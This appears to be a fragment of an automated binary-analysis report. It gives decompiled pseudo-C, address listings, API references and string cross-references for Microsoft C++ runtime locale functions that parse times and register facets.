						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eax =  *(__ebp + 0x24);
							 *(__ebp - 0x18) - 0xc =  ~( *(__ebp - 0x18) - 0xc);
							asm("sbb ecx, ecx");
							__ecx =  ~( *(__ebp - 0x18) - 0xc) &  *(__ebp - 0x18);
							 *( *(__ebp + 0x24) + 8) = __ecx;
						}
						goto L39;
					case 6:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 4;
						_push( *(__ebp + 0x24) + 4);
						_push(0x3b);
						goto L15;
					case 7:
						_push("%H : %M");
						goto L6;
					case 8:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						_push( *(__ebp + 0x24));
						_push(0x3c);
						goto L15;
					case 9:
						_push("%H : %M : %S");
						goto L6;
					case 0xa:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x35);
						goto L15;
					case 0xb:
						__eax = __ebp - 0x14;
						__ecx = __edi;
						__eax = E00AD5E94(__ecx, __ebp - 0x14,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
						goto L3;
					case 0xc:
						_push("%b %d %H : %M : %S %Y");
						goto L6;
					case 0xd:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 0xc;
						__eflags = __eax;
						_push(__eax);
						_push(0x1f);
						goto L11;
					case 0xe:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x16e);
						L11:
						_push(1);
						goto L12;
					case 0xf:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__eax =  *(__ebp + 0x24);
							__ecx =  *(__ebp - 0x18);
							__ecx =  *(__ebp - 0x18) - 1;
							 *( *(__ebp + 0x24) + 0x10) = __ecx;
						}
						goto L39;
					case 0x10:
						_push(" ");
						goto L6;
					case 0x11:
						_push(":AM:am:PM:pm");
						_push(0);
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						__eax = E00AC8699(__edi);
						__esp = __esp + 0x10;
						__eflags = __eax;
						if(__eax >= 0) {
							__eflags = __eax - 1;
							if(__eax > 1) {
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24) + 8) =  *( *(__ebp + 0x24) + 8) + 0xc;
							}
						} else {
							 *__esi =  *__esi | 0x00000002;
						}
						goto L39;
					case 0x12:
						_push("%I : %M : %S %p");
						goto L6;
					case 0x13:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x18;
						_push( *(__ebp + 0x24) + 0x18);
						_push(6);
						L15:
						_push(__edx);
						L12:
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						_push(__edi);
						__eax = E00ACE1E0(__edx);
						__esp = __esp + 0x1c;
						 *__esi =  *__esi | __eax;
						goto L39;
					case 0x14:
						_push("%d / %m / %y");
						L6:
						_push( *(__ebp + 0x24));
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						_push(__esi);
						_push(__ebx);
						_push( *((intOrPtr*)(__ebp + 0x18)));
						_push( *(__ebp + 0x14));
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *(__ebp + 0xc));
						_push(__ebp - 0x1c);
						__eax = E00ACD8CF(__ecx, __edx, __eflags);
						L3:
						 *((intOrPtr*)(_t145 + 0xc)) =  *_t122;
						 *((intOrPtr*)(_t145 + 0x10)) =  *((intOrPtr*)(_t122 + 4));
						goto L39;
					case 0x15:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eflags = __ecx - 0x45;
							if(__ecx < 0x45) {
								__ecx = __ecx + 0x64;
							}
							L9:
							__eax =  *(__ebp + 0x24);
							 *( *(__ebp + 0x24) + 0x14) = __ecx;
						}
						goto L39;
					case 0x16:
						goto L38;
				}
			}

0x00ad34e8
0x00ad34ea
0x00ad34eb
0x00ad34ec
0x00ad34ed
0x00ad34ef
0x00ad34f0
0x00ad34f1
0x00ad34f2
0x00ad34f3
0x00ad34f4
0x00ad34f5
0x00ad34f7
0x00ad34f8
0x00ad34fc
0x00ad3500
0x00ad3501
0x00ad3502
0x00ad3503
0x00ad3504
0x00ad3505
0x00ad3506
0x00ad350f
0x00ad3510
0x00ad3511
0x00ad3512
0x00ad3515
0x00ad3517
0x00ad3519
0x00ad351b
0x00ad351c
0x00ad3523
0x00ad3529
0x00ad352b
0x00ad3536
0x00ad353b
0x00ad3543
0x00ad3548
0x00ad3550
0x00ad3553
0x00ad3558
0x00ad3561
0x00ad3564
0x00ad3567
0x00ad356c
0x00ad37ff
0x00ad37ff
0x00ad3805
0x00ad3813
0x00ad3815
0x00ad3815
0x00ad3818
0x00ad381e
0x00ad3823
0x00ad3826
0x00ad382b
0x00ad382b
0x00ad3579
0x00000000
0x00ad3597
0x00000000
0x00000000
0x00ad35af
0x00ad35b2
0x00ad35c3
0x00000000
0x00000000
0x00ad35f7
0x00ad35fb
0x00ad3600
0x00ad3605
0x00ad360a
0x00ad360c
0x00ad360e
0x00ad3611
0x00000000
0x00ad3617
0x00ad361a
0x00ad361d
0x00ad361d
0x00000000
0x00ad361d
0x00000000
0x00ad3651
0x00000000
0x00000000
0x00ad365b
0x00ad365e
0x00ad3661
0x00ad3661
0x00ad3664
0x00ad3665
0x00000000
0x00000000
0x00ad3675
0x00ad3679
0x00ad367e
0x00ad3683
0x00ad3688
0x00ad368a
0x00ad368c
0x00ad368f
0x00ad3695
0x00ad3698
0x00ad369e
0x00ad36a0
0x00ad36a2
0x00ad36a5
0x00ad36a5
0x00000000
0x00000000
0x00ad36fb
0x00ad3701
0x00ad3704
0x00ad3705
0x00000000
0x00000000
0x00ad3757
0x00000000
0x00000000
0x00ad3761
0x00ad3764
0x00ad3767
0x00000000
0x00000000
0x00ad376e
0x00000000
0x00000000
0x00ad3778
0x00ad377e
0x00ad3781
0x00ad3782
0x00000000
0x00000000
0x00ad37e1
0x00ad37e4
0x00ad37f5
0x00000000
0x00000000
0x00ad35ca
0x00000000
0x00000000
0x00ad362b
0x00ad362e
0x00ad3631
0x00ad3631
0x00ad3634
0x00ad3635
0x00000000
0x00000000
0x00ad36ad
0x00ad36b3
0x00ad36b6
0x00ad36b7
0x00ad3637
0x00ad3637
0x00000000
0x00000000
0x00ad36cc
0x00ad36d0
0x00ad36d5
0x00ad36da
0x00ad36df
0x00ad36e1
0x00ad36e3
0x00ad36e6
0x00ad36ec
0x00ad36ef
0x00ad36f2
0x00ad36f3
0x00ad36f3
0x00000000
0x00000000
0x00ad370c
0x00000000
0x00000000
0x00ad3716
0x00ad371b
0x00ad371c
0x00ad371f
0x00ad3720
0x00ad3723
0x00ad3724
0x00ad3729
0x00ad372c
0x00ad372e
0x00ad3738
0x00ad373b
0x00ad3741
0x00ad3744
0x00ad3744
0x00ad3730
0x00ad3730
0x00ad3730
0x00000000
0x00000000
0x00ad374d
0x00000000
0x00000000
0x00ad3789
0x00ad378f
0x00ad3792
0x00ad3793
0x00ad3667
0x00ad3667
0x00ad3639
0x00ad3639
0x00ad363c
0x00ad363d
0x00ad3640
0x00ad3641
0x00ad3642
0x00ad3647
0x00ad364a
0x00000000
0x00000000
0x00ad379a
0x00ad35cf
0x00ad35cf
0x00ad35d2
0x00ad35d5
0x00ad35d7
0x00ad35d8
0x00ad35d9
0x00ad35dc
0x00ad35df
0x00ad35e2
0x00ad35e5
0x00ad35e6
0x00ad359c
0x00ad359e
0x00ad35a4
0x00000000
0x00000000
0x00ad37ae
0x00ad37b2
0x00ad37b7
0x00ad37bc
0x00ad37c1
0x00ad37c3
0x00ad37c5
0x00ad37c8
0x00ad37ca
0x00ad37cd
0x00ad37d0
0x00ad37d6
0x00ad37d6
0x00ad3620
0x00ad3620
0x00ad3623
0x00ad3623
0x00000000
0x00000000
0x00000000
0x00000000

APIs

std::locale::locale.LIBCPMT ref: 00AD3536

Part of subcall function 00AC9403: __EH_prolog3.LIBCMT ref: 00AC940A
Part of subcall function 00AC9403: std::_Lockit::_Lockit.LIBCPMT ref: 00AC9414
Part of subcall function 00AC9403: std::locale::_Getfacet.LIBCPMT ref: 00AC9434
Part of subcall function 00AC9403: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9485

Strings

%b %d %H : %M : %S %Y, xrefs: 00AD35CA
%I : %M : %S %p, xrefs: 00AD374D
%m / %d / %y, xrefs: 00AD3651
:AM:am:PM:pm, xrefs: 00AD3716
%H : %M, xrefs: 00AD3757
%H : %M : %S, xrefs: 00AD376E
%d / %m / %y, xrefs: 00AD379A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_$GetfacetH_prolog3Lockit::_Lockit::~_std::locale::_std::locale::locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 549549876-2891247106
Opcode ID: ffff679f79b4c478f5aeb3d85219cd052e41e9bc27d25bcf71bf3fa59e5fa227
Instruction ID: 594cea78be89331ed0c5fcef25d0ab644a4ae5a0cda5d93ac23022e780716757
Opcode Fuzzy Hash: ffff679f79b4c478f5aeb3d85219cd052e41e9bc27d25bcf71bf3fa59e5fa227
Instruction Fuzzy Hash: 66B18A7690020AEFCF05CF54DC82EFE7BB9EF08304F10415AF956A6291E631DA50DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00AD631B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00AD631B(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t121;
				void* _t132;
				void* _t143;
				void* _t154;
				void* _t165;
				void* _t176;
				void* _t187;
				void* _t192;
				void* _t198;
				signed int _t299;
				void* _t324;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				signed int _t330;
				signed int _t331;
				signed int _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				void* _t351;

				_t324 = __edx;
				_t243 = __ebx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94(_t351 - 0x14, 0);
				_t334 =  *0xb45cc0; // 0x0
				 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
				 *(_t351 - 0x10) = _t334;
				_t121 = E00AB1310(__ebx, 0xb45ca0, __edi, _t334);
				_t246 =  *((intOrPtr*)(_t351 + 8));
				_t326 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t121);
				if(_t326 != 0) {
					L5:
					E00AC2FED(_t351 - 0x14);
					E00ADAEB2();
					return _t326;
				} else {
					if(_t334 == 0) {
						_push( *((intOrPtr*)(_t351 + 8)));
						_push(_t351 - 0x10);
						__eflags = E00AD6983(_t246, _t324, _t334) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4(_t351 - 0x20);
							E00AF1677(_t351 - 0x20, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94(_t351 - 0x14, 0);
							_t335 =  *0xb45cc4; // 0x0
							 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
							 *(_t351 - 0x10) = _t335;
							_t132 = E00AB1310(_t243, 0xb45ca4, _t326, _t335);
							_t253 =  *((intOrPtr*)(_t351 + 8));
							_t327 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t132);
							__eflags = _t327;
							if(_t327 != 0) {
								L12:
								E00AC2FED(_t351 - 0x14);
								E00ADAEB2();
								return _t327;
							} else {
								__eflags = _t335;
								if(_t335 == 0) {
									_push( *((intOrPtr*)(_t351 + 8)));
									_push(_t351 - 0x10);
									__eflags = E00AD6A25(_t253, _t324, _t335) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4(_t351 - 0x20);
										E00AF1677(_t351 - 0x20, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94(_t351 - 0x14, 0);
										_t336 =  *0xb45cc8; // 0x0
										 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
										 *(_t351 - 0x10) = _t336;
										_t143 = E00AB1310(_t243, 0xb45ca8, _t327, _t336);
										_t260 =  *((intOrPtr*)(_t351 + 8));
										_t328 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t143);
										__eflags = _t328;
										if(_t328 != 0) {
											L19:
											E00AC2FED(_t351 - 0x14);
											E00ADAEB2();
											return _t328;
										} else {
											__eflags = _t336;
											if(_t336 == 0) {
												_push( *((intOrPtr*)(_t351 + 8)));
												_push(_t351 - 0x10);
												__eflags = E00AD6A8D(_t260, _t324, _t336) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4(_t351 - 0x20);
													E00AF1677(_t351 - 0x20, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94(_t351 - 0x14, 0);
													_t337 =  *0xb45ccc; // 0x0
													 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
													 *(_t351 - 0x10) = _t337;
													_t154 = E00AB1310(_t243, 0xb45cac, _t328, _t337);
													_t267 =  *((intOrPtr*)(_t351 + 8));
													_t329 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t154);
													__eflags = _t329;
													if(_t329 != 0) {
														L26:
														E00AC2FED(_t351 - 0x14);
														E00ADAEB2();
														return _t329;
													} else {
														__eflags = _t337;
														if(_t337 == 0) {
															_push( *((intOrPtr*)(_t351 + 8)));
															_push(_t351 - 0x10);
															__eflags = E00AD6AF5(_t267, _t324, _t337) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4(_t351 - 0x20);
																E00AF1677(_t351 - 0x20, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94(_t351 - 0x14, 0);
																_t338 =  *0xb45cd4; // 0x0
																 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
																 *(_t351 - 0x10) = _t338;
																_t165 = E00AB1310(_t243, 0xb45cb4, _t329, _t338);
																_t274 =  *((intOrPtr*)(_t351 + 8));
																_t330 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t165);
																__eflags = _t330;
																if(_t330 != 0) {
																	L33:
																	E00AC2FED(_t351 - 0x14);
																	E00ADAEB2();
																	return _t330;
																} else {
																	__eflags = _t338;
																	if(_t338 == 0) {
																		_push( *((intOrPtr*)(_t351 + 8)));
																		_push(_t351 - 0x10);
																		__eflags = E00AD6B5D(_t274, _t324, _t338) - 0xffffffff;
																		if(__eflags == 0) {
																			E00AC38B4(_t351 - 0x20);
																			E00AF1677(_t351 - 0x20, 0xb3dcf8);
																			asm("int3");
																			_push(0x14);
																			E00ADAEE9();
																			E00AC2F94(_t351 - 0x14, 0);
																			_t339 =  *0xb45cd0; // 0x0
																			 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
																			 *(_t351 - 0x10) = _t339;
																			_t176 = E00AB1310(_t243, 0xb45cb0, _t330, _t339);
																			_t281 =  *((intOrPtr*)(_t351 + 8));
																			_t331 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t176);
																			__eflags = _t331;
																			if(_t331 != 0) {
																				L40:
																				E00AC2FED(_t351 - 0x14);
																				E00ADAEB2();
																				return _t331;
																			} else {
																				__eflags = _t339;
																				if(_t339 == 0) {
																					_push( *((intOrPtr*)(_t351 + 8)));
																					_push(_t351 - 0x10);
																					__eflags = E00AD6BE1(_t281, _t324, _t339) - 0xffffffff;
																					if(__eflags == 0) {
																						E00AC38B4(_t351 - 0x20);
																						E00AF1677(_t351 - 0x20, 0xb3dcf8);
																						asm("int3");
																						_push(0x14);
																						E00ADAEE9();
																						E00AC2F94(_t351 - 0x14, 0);
																						_t340 =  *0xb45cd8;
																						 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
																						 *(_t351 - 0x10) = _t340;
																						_t187 = E00AB1310(_t243, 0xb45cb8, _t331, _t340);
																						_t288 =  *((intOrPtr*)(_t351 + 8));
																						_t332 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t187);
																						__eflags = _t332;
																						if(_t332 != 0) {
																							L48:
																							E00AC2FED(_t351 - 0x14);
																							E00ADAEB2();
																							return _t332;
																						} else {
																							__eflags = _t340;
																							if(_t340 == 0) {
																								_push( *((intOrPtr*)(_t351 + 8)));
																								_push(_t351 - 0x10);
																								_t192 = L00AD6C66(_t288, _t324);
																								__eflags = _t192 - 0xffffffff;
																								if(__eflags == 0) {
																									E00AC38B4(_t351 - 0x20);
																									E00AF1677(_t351 - 0x20, 0xb3dcf8);
																									asm("int3");
																									_push(0x14);
																									E00ADAEE9();
																									E00AC2F94(_t351 - 0x14, 0);
																									_t341 =  *0xb45cdc; // 0x0
																									 *(_t351 - 4) =  *(_t351 - 4) & 0x00000000;
																									 *(_t351 - 0x10) = _t341;
																									_t198 = E00AB1310(_t243, 0xb45cbc, _t332, _t341);
																									_t295 =  *((intOrPtr*)(_t351 + 8));
																									_t333 = E00AC3FEF( *((intOrPtr*)(_t351 + 8)), _t198);
																									__eflags = _t333;
																									if(_t333 != 0) {
																										L55:
																										E00AC2FED(_t351 - 0x14);
																										E00ADAEB2();
																										return _t333;
																									} else {
																										__eflags = _t341;
																										if(_t341 == 0) {
																											_push( *((intOrPtr*)(_t351 + 8)));
																											_push(_t351 - 0x10);
																											__eflags = E00AD6CD2(_t295, _t324) - 0xffffffff;
																											if(__eflags == 0) {
																												_t299 = _t351 - 0x20;
																												E00AC38B4(_t299);
																												E00AF1677(_t351 - 0x20, 0xb3dcf8);
																												asm("int3");
																												_push(4);
																												E00ADAEE9();
																												_t342 = _t299;
																												 *(_t351 - 0x10) = _t342;
																												 *((intOrPtr*)(_t342 + 4)) =  *((intOrPtr*)(_t351 + 0xc));
																												_push( *((intOrPtr*)(_t351 + 8)));
																												_t117 = _t351 - 4;
																												 *_t117 =  *(_t351 - 4) & 0x00000000;
																												__eflags =  *_t117;
																												 *_t342 = 0xb17060;
																												L00AD7B28(_t299);
																												E00ADAEB2();
																												return _t342;
																											} else {
																												_t333 =  *(_t351 - 0x10);
																												 *(_t351 - 0x10) = _t333;
																												 *(_t351 - 4) = 1;
																												E00AC70E1(__eflags, _t333);
																												 *0xb1531c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t333 + 4))))();
																												 *0xb45cdc = _t333;
																												goto L55;
																											}
																										} else {
																											_t333 = _t341;
																											goto L55;
																										}
																									}
																								} else {
																									_t332 =  *(_t351 - 0x10);
																									 *(_t351 - 0x10) = _t332;
																									 *(_t351 - 4) = 1;
																									E00AC70E1(__eflags, _t332);
																									 *0xb1531c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t332 + 4))))();
																									 *0xb45cd8 = _t332;
																									goto L48;
																								}
																							} else {
																								_t332 = _t340;
																								goto L48;
																							}
																						}
																					} else {
																						_t331 =  *(_t351 - 0x10);
																						 *(_t351 - 0x10) = _t331;
																						 *(_t351 - 4) = 1;
																						E00AC70E1(__eflags, _t331);
																						 *0xb1531c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t331 + 4))))();
																						 *0xb45cd0 = _t331;
																						goto L40;
																					}
																				} else {
																					_t331 = _t339;
																					goto L40;
																				}
																			}
																		} else {
																			_t330 =  *(_t351 - 0x10);
																			 *(_t351 - 0x10) = _t330;
																			 *(_t351 - 4) = 1;
																			E00AC70E1(__eflags, _t330);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t330 + 4))))();
																			 *0xb45cd4 = _t330;
																			goto L33;
																		}
																	} else {
																		_t330 = _t338;
																		goto L33;
																	}
																}
															} else {
																_t329 =  *(_t351 - 0x10);
																 *(_t351 - 0x10) = _t329;
																 *(_t351 - 4) = 1;
																E00AC70E1(__eflags, _t329);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t329 + 4))))();
																 *0xb45ccc = _t329;
																goto L26;
															}
														} else {
															_t329 = _t337;
															goto L26;
														}
													}
												} else {
													_t328 =  *(_t351 - 0x10);
													 *(_t351 - 0x10) = _t328;
													 *(_t351 - 4) = 1;
													E00AC70E1(__eflags, _t328);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t328 + 4))))();
													 *0xb45cc8 = _t328;
													goto L19;
												}
											} else {
												_t328 = _t336;
												goto L19;
											}
										}
									} else {
										_t327 =  *(_t351 - 0x10);
										 *(_t351 - 0x10) = _t327;
										 *(_t351 - 4) = 1;
										E00AC70E1(__eflags, _t327);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t327 + 4))))();
										 *0xb45cc4 = _t327;
										goto L12;
									}
								} else {
									_t327 = _t335;
									goto L12;
								}
							}
						} else {
							_t326 =  *(_t351 - 0x10);
							 *(_t351 - 0x10) = _t326;
							 *(_t351 - 4) = 1;
							E00AC70E1(__eflags, _t326);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t326 + 4))))();
							 *0xb45cc0 = _t326;
							goto L5;
						}
					} else {
						_t326 = _t334;
						goto L5;
					}
				}
			}

0x00ad631b
0x00ad631b
0x00ad631b
0x00ad6322
0x00ad632c
0x00ad6331
0x00ad633c
0x00ad6340
0x00ad6343
0x00ad6348
0x00ad6351
0x00ad6355
0x00ad639a
0x00ad639d
0x00ad63a4
0x00ad63a9
0x00ad6357
0x00ad6359
0x00ad635f
0x00ad6365
0x00ad636d
0x00ad6370
0x00ad63ad
0x00ad63bb
0x00ad63c0
0x00ad63c1
0x00ad63c8
0x00ad63d2
0x00ad63d7
0x00ad63e2
0x00ad63e6
0x00ad63e9
0x00ad63ee
0x00ad63f7
0x00ad63f9
0x00ad63fb
0x00ad6440
0x00ad6443
0x00ad644a
0x00ad644f
0x00ad63fd
0x00ad63fd
0x00ad63ff
0x00ad6405
0x00ad640b
0x00ad6413
0x00ad6416
0x00ad6453
0x00ad6461
0x00ad6466
0x00ad6467
0x00ad646e
0x00ad6478
0x00ad647d
0x00ad6488
0x00ad648c
0x00ad648f
0x00ad6494
0x00ad649d
0x00ad649f
0x00ad64a1
0x00ad64e6
0x00ad64e9
0x00ad64f0
0x00ad64f5
0x00ad64a3
0x00ad64a3
0x00ad64a5
0x00ad64ab
0x00ad64b1
0x00ad64b9
0x00ad64bc
0x00ad64f9
0x00ad6507
0x00ad650c
0x00ad650d
0x00ad6514
0x00ad651e
0x00ad6523
0x00ad652e
0x00ad6532
0x00ad6535
0x00ad653a
0x00ad6543
0x00ad6545
0x00ad6547
0x00ad658c
0x00ad658f
0x00ad6596
0x00ad659b
0x00ad6549
0x00ad6549
0x00ad654b
0x00ad6551
0x00ad6557
0x00ad655f
0x00ad6562
0x00ad659f
0x00ad65ad
0x00ad65b2
0x00ad65b3
0x00ad65ba
0x00ad65c4
0x00ad65c9
0x00ad65d4
0x00ad65d8
0x00ad65db
0x00ad65e0
0x00ad65e9
0x00ad65eb
0x00ad65ed
0x00ad6632
0x00ad6635
0x00ad663c
0x00ad6641
0x00ad65ef
0x00ad65ef
0x00ad65f1
0x00ad65f7
0x00ad65fd
0x00ad6605
0x00ad6608
0x00ad6645
0x00ad6653
0x00ad6658
0x00ad6659
0x00ad6660
0x00ad666a
0x00ad666f
0x00ad667a
0x00ad667e
0x00ad6681
0x00ad6686
0x00ad668f
0x00ad6691
0x00ad6693
0x00ad66d8
0x00ad66db
0x00ad66e2
0x00ad66e7
0x00ad6695
0x00ad6695
0x00ad6697
0x00ad669d
0x00ad66a3
0x00ad66ab
0x00ad66ae
0x00ad66eb
0x00ad66f9
0x00ad66fe
0x00ad66ff
0x00ad6706
0x00ad6710
0x00ad6715
0x00ad6720
0x00ad6724
0x00ad6727
0x00ad672c
0x00ad6735
0x00ad6737
0x00ad6739
0x00ad677e
0x00ad6781
0x00ad6788
0x00ad678d
0x00ad673b
0x00ad673b
0x00ad673d
0x00ad6743
0x00ad6749
0x00ad674a
0x00ad6751
0x00ad6754
0x00ad6791
0x00ad679f
0x00ad67a4
0x00ad67a5
0x00ad67ac
0x00ad67b6
0x00ad67bb
0x00ad67c6
0x00ad67ca
0x00ad67cd
0x00ad67d2
0x00ad67db
0x00ad67dd
0x00ad67df
0x00ad6824
0x00ad6827
0x00ad682e
0x00ad6833
0x00ad67e1
0x00ad67e1
0x00ad67e3
0x00ad67e9
0x00ad67ef
0x00ad67f7
0x00ad67fa
0x00ad6834
0x00ad6837
0x00ad6845
0x00ad684a
0x00ad684b
0x00ad6852
0x00ad6857
0x00ad6859
0x00ad685f
0x00ad6862
0x00ad6865
0x00ad6865
0x00ad6865
0x00ad6869
0x00ad686f
0x00ad6876
0x00ad687b
0x00ad67fc
0x00ad67fc
0x00ad67ff
0x00ad6803
0x00ad6807
0x00ad6814
0x00ad681c
0x00ad681e
0x00000000
0x00ad681e
0x00ad67e5
0x00ad67e5
0x00000000
0x00ad67e5
0x00ad67e3
0x00ad6756
0x00ad6756
0x00ad6759
0x00ad675d
0x00ad6761
0x00ad676e
0x00ad6776
0x00ad6778
0x00000000
0x00ad6778
0x00ad673f
0x00ad673f
0x00000000
0x00ad673f
0x00ad673d
0x00ad66b0
0x00ad66b0
0x00ad66b3
0x00ad66b7
0x00ad66bb
0x00ad66c8
0x00ad66d0
0x00ad66d2
0x00000000
0x00ad66d2
0x00ad6699
0x00ad6699
0x00000000
0x00ad6699
0x00ad6697
0x00ad660a
0x00ad660a
0x00ad660d
0x00ad6611
0x00ad6615
0x00ad6622
0x00ad662a
0x00ad662c
0x00000000
0x00ad662c
0x00ad65f3
0x00ad65f3
0x00000000
0x00ad65f3
0x00ad65f1
0x00ad6564
0x00ad6564
0x00ad6567
0x00ad656b
0x00ad656f
0x00ad657c
0x00ad6584
0x00ad6586
0x00000000
0x00ad6586
0x00ad654d
0x00ad654d
0x00000000
0x00ad654d
0x00ad654b
0x00ad64be
0x00ad64be
0x00ad64c1
0x00ad64c5
0x00ad64c9
0x00ad64d6
0x00ad64de
0x00ad64e0
0x00000000
0x00ad64e0
0x00ad64a7
0x00ad64a7
0x00000000
0x00ad64a7
0x00ad64a5
0x00ad6418
0x00ad6418
0x00ad641b
0x00ad641f
0x00ad6423
0x00ad6430
0x00ad6438
0x00ad643a
0x00000000
0x00ad643a
0x00ad6401
0x00ad6401
0x00000000
0x00ad6401
0x00ad63ff
0x00ad6372
0x00ad6372
0x00ad6375
0x00ad6379
0x00ad637d
0x00ad638a
0x00ad6392
0x00ad6394
0x00000000
0x00ad6394
0x00ad635b
0x00ad635b
0x00000000
0x00ad635b
0x00ad6359

APIs

__EH_prolog3.LIBCMT ref: 00AD6322
std::locale::_Getfacet.LIBCPMT ref: 00AD634C
collate.LIBCPMT ref: 00AD6366
std::_Facet_Register.LIBCPMT ref: 00AD637D
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD639D
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD63BB
std::_Lockit::_Lockit.LIBCPMT ref: 00AD632C

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

Strings

%G, xrefs: 00AD6788

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
